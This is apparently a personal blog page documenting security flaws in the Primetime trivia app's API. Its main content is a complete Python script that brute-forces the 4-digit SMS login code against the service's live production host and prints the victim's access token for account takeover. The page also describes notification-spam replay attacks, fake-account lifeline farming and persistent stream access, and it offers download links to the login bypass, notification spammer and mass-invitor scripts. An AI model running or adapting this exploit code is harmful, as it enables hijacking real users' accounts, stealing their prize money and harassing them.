Hello World/Projects/
Views: -

Prime prize


Summary

Primetime is an app for android/iOS where users are competing live for a small amount of money by answering trivia questions in under 10 seconds. Unfortunately the team behind the primetime API did not prioritize security, leading to a rather long list of exploits.

Tools used

Python as the primary programming language
Fiddler for intercepting network requests
Android studio for emulating android

Exploits

Login bypass

In order to sign in to your primetime account you need to enter your phone number into the app, after which an SMS containing a 4 digit OPT will be sent to your phone, that is then used for you to sign into the application.

The problem is that this 4 digit OTP only has 10,000 possible combinations and that the server never sets a cooldown for entering the password. By iterating through all possible values, one can login to any account within 2 minutes. This gets even worse considering an attacker could take out all prizemoney from the account, with virtually zero effort.

The python script below preforms the attack automatically:
Python
Copy all
Select all
import requests
import hashlib
import _thread
import json
from time import sleep


# Enter number here
NUMBER = input('Enter phone number: ')
REFFERAL = 123456

DONE = False
PAUSE = False

# Fix
true = True
false = False

# Dicts from source APK
AuthenticationStatus = {0: "NOT_SET", 100: "FAILED_TO_SEND_SMS", 110: "FAILED_TO_VERIFY_CODE",
                        115: "USERNAME_REQUIRED", 120: "USERNAME_TAKEN", 130: "USERNAME_NOT_VALID", 200: 'OK', 300: "BLOCKED"}


def byte_len(string):
    return len(string.encode('utf-8'))


def create_named_account(deviceId, code, name):
    data = name
    content_length = str(byte_len(data))
    r = requests.post('http://sv-services.sventertainment.se/api/services/signIn',
                        params={'id': deviceId, 'code': code,
                                'referral': REFFERAL},
                        headers={'Content-Type': 'application/json; charset=UTF-8', 'Content-Length': content_length, 'Host': 'sv-services.sventertainment.se',
                                'Accept-Encoding': 'gzip', 'User-Agent': 'okhttp/3.12.0', 'Connection': 'Keep-Alive'},
                        data=data.encode('utf-8'))

    status = r.status_code
    if status == 200:
        request_json = r.json()
    else:
        print("Unexpected server status:", status)

    print('Response:', AuthenticationStatus[request_json['status']])
    if request_json['status'] == 200:
        return r.text
    else:
        return False


def validate_request(i):
    global DONE, PAUSE
    r = requests.post('http://sv-services.sventertainment.se/api/services/signIn',
                        params={'id': deviceId, 'code': '%04d' % i},
                        headers={'Content-Type': 'application/json; charset=UTF-8', 'Content-Length': '2',
                                'Host': 'sv-services.sventertainment.se',
                                'Accept-Encoding': 'gzip', 'User-Agent': 'okhttp/3.12.0',
                                'Connection': 'Keep-Alive'},
                        data='{}')
    status = r.status_code
    if status == 200:
        request_json = r.json()
    else:
        print("Unexpected server status:", status)

    if request_json['status'] == 200:
        DONE = True
        sleep(3)
        headers = r.headers
        file = open(
            r'C:\Users\{USER_ACCOUNT}\AppData\Local\Programs\Fiddler\MyCool\correct_login', 'w+', encoding='utf-8')
        file.write(r.text)
        file.close()
        print(
            f'Key found: {i}\nNew login written to file,\nOpen Primetime and enable AutoResponder in fiddler to login from bluestacks\n')
        print('Name:', request_json['device']['user']['username'])
        print('Nr:', request_json['device']['phone'])
        print('Token:', request_json['device']['accessToken'])
        print('ID:', request_json['device']['id'])
        quit()
    elif request_json['status'] == 115:
        PAUSE = True
        print(
            f'Key found: {i}\nNumber does not have an account yet\n')
        name = input("Please enter the new account name here: ")
        account_creation = create_named_account(deviceId, '%04d' % i, name)
        while account_creation is False:
            name = input("Name has already been used, enter another one: ")
            account_creation = create_named_account(deviceId, '%04d' % i, name)
        file = open(
            r'C:\Users\{USER_ACCOUNT}\AppData\Local\Programs\Fiddler\MyCool\correct_login', 'w+', encoding='utf-8')
        file.write(account_creation)
        file.close()
        print('New login written to file\nOpen Primetime and enable AutoResponder in fiddler to login from bluestacks\n')
        request_json = json.loads(account_creation)
        print('Name:', request_json['device']['user']['username'])
        print('Nr:', request_json['device']['phone'])
        print('Token:', request_json['device']['accessToken'])
        print('ID:', request_json['device']['id'])
        PAUSE = False
        DONE = True
        quit()
    quit()


hash_object = hashlib.md5(NUMBER.encode())
hash = hash_object.hexdigest()

while 1:
    r = requests.post('http://sv-services.sventertainment.se/api/services/register',
                        params={'token': hash},
                        headers={'Content-Type': 'application/json; charset=UTF-8', 'Content-Length': str(byte_len(NUMBER)), 'Host': 'sv-services.sventertainment.se',
                                'Accept-Encoding': 'gzip', 'User-Agent': 'okhttp/3.12.0', 'Connection': 'Keep-Alive'},
                        data=NUMBER.encode('utf-8'))

    status = r.status_code
    if status == 200:
        request_json = r.json()
    else:
        print("Unexpected server status:", status)
        print('Quitting...')
        quit()

    if request_json['status'] == 200:
        deviceId = request_json['deviceId']
        if deviceId == 2887:
            answer = input('Device ID is 2887, continue? [y/n]: ')
            if answer.lower() != 'y':
                quit()
        else:
            print('Device ID:', deviceId)
        break
    else:
        print('Response:', AuthenticationStatus[request_json['status']])
        answer = input('Try again? [y/n]: ')
        if answer.lower() != "y":
            print('Quitting...')
            quit()

for i in range(10000):
    _thread.start_new_thread(validate_request, (i,))
    sleep(0.015)
    if DONE:
        sleep(5)
        quit()
    elif PAUSE:
        while PAUSE:
            sleep(1)
    elif i % 100 == 0:
        print(i)
        
Show more

Notification spam

Users can invite other users to compete over who can complete the most challenges, an action that can only be done practically once before every game and triggers a notification on the challenged players device.

However, this limitation is only client side, meaning one could replay the request more times than the server would expect. The request can be captured with a proxy like Fiddler, something that is possible because primetime communicates to its servers over plain-text HTTP. After capturing the request an attacker could replay it thousands of times, until the user would be forced to delete the app because of the inconvenience of having the phone ringing all the time.

Free lifelines

By exploiting the login bypass bug, it is also possible to create new accounts using non-existent phone numbers. These new accounts can enter a code pointing to the ID of another user, and give the corresponding user a lifeline.

Although lifelines are not very useful to have in large quantities in of themselves (as you can only use one per game), they are able of putting you on the global top list for having the most lifelines. This can be exploited by advertisers to spread light on their products, although that is admittedly a bit far fetched.

Primeprize GUI

The primeprize GUI is a program made in python with the goal of helping the user during the quiz.
It achieves this in several ways: For the time being the program requires the following to be installed: Both of these programs are for capturing the incoming network traffic, that is then parsed by the main program.

Access stream 24/7

During the quiz the hosts stream themselves commenting on the questions, and after the program ends the stream is supposed to be closed. However, as the technical team included the API-key in plain text request to the client (which by the way is never changed) it is possible for any user to connect to the stream long after the quiz has ended.

A simpler way to connect to the stream is simply to block all the packets that tell the client to close the stream, and the client will continue to display the stream. This can be done through Fiddler.

Result

You can download all scripts here:
File size: 35.5kb
primeprize.py
File size: 5.4kb
login_bypass.py
File size: 43.75kb
notification_spammer.py
File size: 0.3kb
lifeline_generator.py
File size: 43.75kb
mass_invitor.py

Back to top